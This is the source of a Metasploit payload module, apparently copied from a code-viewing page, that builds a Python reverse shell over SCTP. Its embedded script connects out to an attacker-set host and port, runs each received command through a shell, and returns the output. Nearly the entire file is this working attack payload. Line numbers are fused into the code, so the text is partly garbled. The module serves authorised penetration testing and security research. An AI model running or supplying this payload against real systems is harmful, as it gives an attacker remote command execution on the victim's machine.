Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/payloads/singles/python/shell_reverse_sctp.rb
Views: 11766
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45module MetasploitModule6CachedSize = :dynamic78include Msf::Payload::Single9include Msf::Payload::Python10include Msf::Sessions::CommandShellOptions1112def initialize(info = {})13super(14merge_info(15info,16'Name' => 'Command Shell, Reverse SCTP (via python)',17'Description' => 'Creates an interactive shell via Python, encodes with base64 by design. Compatible with Python 2.6-2.7 and 3.4+.',18'Author' => 'RageLtMan <rageltman[at]sempervictus>',19'License' => MSF_LICENSE,20'Platform' => 'python',21'Arch' => ARCH_PYTHON,22'Handler' => Msf::Handler::ReverseSctp,23'Session' => Msf::Sessions::CommandShell,24'PayloadType' => 'python',25'Payload' => {26'Offsets' => {},27'Payload' => ''28}29)30)31end3233#34# Constructs the payload35#36def generate(_opts = {})37super + command_string38end3940#41# Returns the command string to use for execution42#43def command_string44cmd = <<~PYTHON45import socket as s46import subprocess as r47so=s.socket(s.AF_INET,s.SOCK_STREAM,132)48so.connect(('#{datastore['LHOST']}',#{datastore['LPORT']}))49while True:50d=so.recv(1024)51if len(d)==0:52break53p=r.Popen(d.decode('utf-8'),shell=True,stdin=r.PIPE,stdout=r.PIPE,stderr=r.PIPE)54o=p.stdout.read()+p.stderr.read()55try:56so.send(o)57except OSError as e:58if e.errno != 22:59raise60PYTHON6162py_create_exec_stub(cmd)63end64end656667